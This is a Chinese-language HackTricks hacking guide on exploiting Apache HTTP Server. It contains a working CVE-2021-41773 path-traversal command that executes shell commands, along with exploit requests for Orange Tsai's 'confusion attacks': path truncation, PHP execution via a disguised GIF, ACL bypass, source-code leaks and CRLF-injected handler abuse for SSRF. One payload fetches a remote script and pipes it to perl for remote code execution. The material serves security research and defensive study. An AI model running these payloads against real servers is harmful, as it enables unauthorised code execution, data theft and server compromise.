Apache

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或关注我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

可执行的 PHP 扩展

检查哪个扩展正在执行 Apache 服务器。要搜索它们，您可以执行：

grep -R -B1 "httpd-php" /etc/apache2

此外，您可以找到此配置的一些地方是：

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

混淆攻击

这些类型的攻击已被Orange在这篇博客文章中介绍和记录，以下是总结。 "混淆"攻击基本上利用了多个模块在创建Apache时并未完美同步工作的方式，使得某些模块修改一些意外数据可能导致后续模块出现漏洞。

文件名混淆

截断

**mod_rewrite**将在字符?之后修剪r->filename的内容（modules/mappers/mod_rewrite.c#L4141）。这并不是完全错误，因为大多数模块会将r->filename视为URL。但在其他情况下，这将被视为文件路径，这会导致问题。

路径截断

可以像以下规则示例一样滥用mod_rewrite，通过简单地添加一个?来移除预期路径的最后一部分，从而访问文件系统中的其他文件：

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

误导 RewriteFlag 分配

在以下重写规则中，只要 URL 以 .php 结尾，它就会被视为并执行为 php。因此，可以在 ? 字符后发送一个以 .php 结尾的 URL，同时在路径中加载一个不同类型的文件（如图像），其中包含恶意的 php 代码：

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

即使访问应该被拒绝，仍然可以访问用户不应该能够访问的文件，配置如下：

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

这是因为默认情况下，PHP-FPM 将接收以 .php 结尾的 URL，例如 http://server/admin.php%3Fooo.php，并且因为 PHP-FPM 会删除字符 ? 之后的任何内容，之前的 URL 将允许加载 /admin.php，即使之前的规则禁止了它。

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

一个关于Apache的有趣事实是，之前的重写将尝试从documentRoot和根目录访问文件。因此，对https://server/abouth.html的请求将检查文件系统中的/var/www/html/about.html和/about.html。这基本上可以被滥用来访问文件系统中的文件。

服务器端源代码泄露

泄露CGI源代码

只需在末尾添加一个%3F就足以泄露cgi模块的源代码：

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

泄露 PHP 源代码

如果服务器有不同的域名，其中一个是静态域名，这可以被利用来遍历文件系统并泄露 php 代码：

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

本地小工具操控

之前攻击的主要问题是，默认情况下，大多数对文件系统的访问将被拒绝，如Apache HTTP Server的配置模板：

<Directory />
AllowOverride None
Require all denied
</Directory>

然而，默认情况下，Debian/Ubuntu 操作系统允许 /usr/share：

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

因此，在这些发行版中，滥用位于 /usr/share 内的文件是可能的。

本地小工具导致信息泄露

Apache HTTP Server 与 websocketd 可能会在 /usr/share/doc/websocketd/examples/php/ 暴露 dump-env.php 脚本，这可能会泄露敏感环境变量。
使用 Nginx 或 Jetty 的服务器可能会通过其默认的网页根目录暴露敏感的Web应用程序信息（例如，web.xml），这些目录位于 /usr/share 下：
/usr/share/nginx/html/
/usr/share/jetty9/etc/
/usr/share/jetty9/webapps/

本地小工具导致XSS

在安装了 LibreOffice 的 Ubuntu Desktop 上，利用帮助文件的语言切换功能可能导致 跨站脚本攻击 (XSS)。通过操纵 /usr/share/libreoffice/help/help.html 的 URL，可以重定向到恶意页面或旧版本，使用 不安全的 RewriteRule。

本地小工具导致LFI

如果安装了 PHP 或某些前端包，如 JpGraph 或 jQuery-jFeed，其文件可能被利用来读取敏感文件，如 /etc/passwd：
/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
/usr/share/javascript/jquery-jfeed/proxy.php
/usr/share/moodle/mod/assignment/type/wims/getcsv.php

本地小工具导致SSRF

利用 MagpieRSS的 magpie_debug.php 在 /usr/share/php/magpierss/scripts/magpie_debug.php，可以轻松创建 SSRF 漏洞，为进一步的攻击提供通道。

本地小工具导致RCE

远程代码执行 (RCE) 的机会广泛，存在脆弱的安装，如过时的 PHPUnit 或 phpLiteAdmin。这些可以被利用来执行任意代码，展示了本地小工具操作的广泛潜力。

从本地小工具越狱

通过跟随在这些文件夹中安装的软件生成的符号链接，也可以从允许的文件夹中越狱，例如：

Cacti 日志: /usr/share/cacti/site/ -> /var/log/cacti/
Solr 数据: /usr/share/solr/data/ -> /var/lib/solr/data
Solr 配置: /usr/share/solr/conf/ -> /etc/solr/conf/
MediaWiki 配置: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
SimpleSAMLphp 配置: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

此外，滥用符号链接可以获得 Redmine 中的 RCE。

处理程序混淆

此攻击利用了 AddHandler 和 AddType 指令之间功能的重叠，这两者都可以用来 启用 PHP 处理。最初，这些指令影响服务器内部结构中的不同字段（分别为 r->handler 和 r->content_type）。然而，由于遗留代码，Apache 在某些条件下可以互换处理这些指令，如果前者被设置而后者未设置，则将 r->content_type 转换为 r->handler。

此外，在 Apache HTTP Server (server/config.c#L420) 中，如果在执行 ap_run_handler() 之前 r->handler 为空，服务器将 r->content_type 作为处理程序使用，有效地使 AddType 和 AddHandler 在效果上相同。

覆盖处理程序以泄露 PHP 源代码

在 这次演讲 中，展示了一个漏洞，其中客户端发送的错误 Content-Length 可能导致 Apache 错误地 返回 PHP 源代码。这是由于 ModSecurity 和 Apache Portable Runtime (APR) 的错误处理问题，导致双重响应覆盖 r->content_type 为 text/html。因为 ModSecurity 没有正确处理返回值，它会返回 PHP 代码而不会解释它。

覆盖处理程序以 XXXX

TODO: Orange 尚未披露此漏洞

调用任意处理程序

如果攻击者能够控制服务器响应中的 Content-Type 头，他将能够 调用任意模块处理程序。然而，在攻击者控制这一点时，请求的大部分处理过程将已经完成。然而，可以通过滥用 Location 头 重新启动请求过程，因为如果返回的 Status 为 200 且 Location 头以 / 开头，则响应被视为服务器端重定向，应进行处理。

根据 RFC 3875（关于 CGI 的规范）在第 6.2.2 节定义了本地重定向响应行为：

CGI 脚本可以在 Location 头字段中返回本地资源的 URI 路径和查询字符串（‘local-pathquery’）。这向服务器指示它应该使用指定的路径重新处理请求。

因此，要执行此攻击，需要以下漏洞之一：

CGI 响应头中的 CRLF 注入
完全控制响应头的 SSRF

任意处理程序导致信息泄露

例如 /server-status 应仅在本地可访问：

<Location /server-status>
SetHandler server-status
Require local
</Location>

可以通过将 Content-Type 设置为 server-status 并将 Location 头以 / 开头来访问它。

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

任意处理程序到完整的SSRF

重定向到 mod_proxy 以访问任何URL上的任何协议：

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

然而，X-Forwarded-For 头被添加以防止访问云元数据端点。

任意处理程序访问本地 Unix 域套接字

访问 PHP-FPM 的本地 Unix 域套接字以执行位于 /tmp/ 的 PHP 后门：

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

任意处理程序到 RCE

官方的 PHP Docker 镜像包含 PEAR (Pearcmd.php)，一个命令行 PHP 包管理工具，可以被滥用以获得 RCE：

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

检查 Docker PHP LFI Summary，由 Phith0n 撰写，了解此技术的详细信息。

参考文献

https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1

学习和实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) 学习和实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 telegram 群组 或关注我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。

PreviousAngular NextArtifactory Hacking guide

Last updated 19 days ago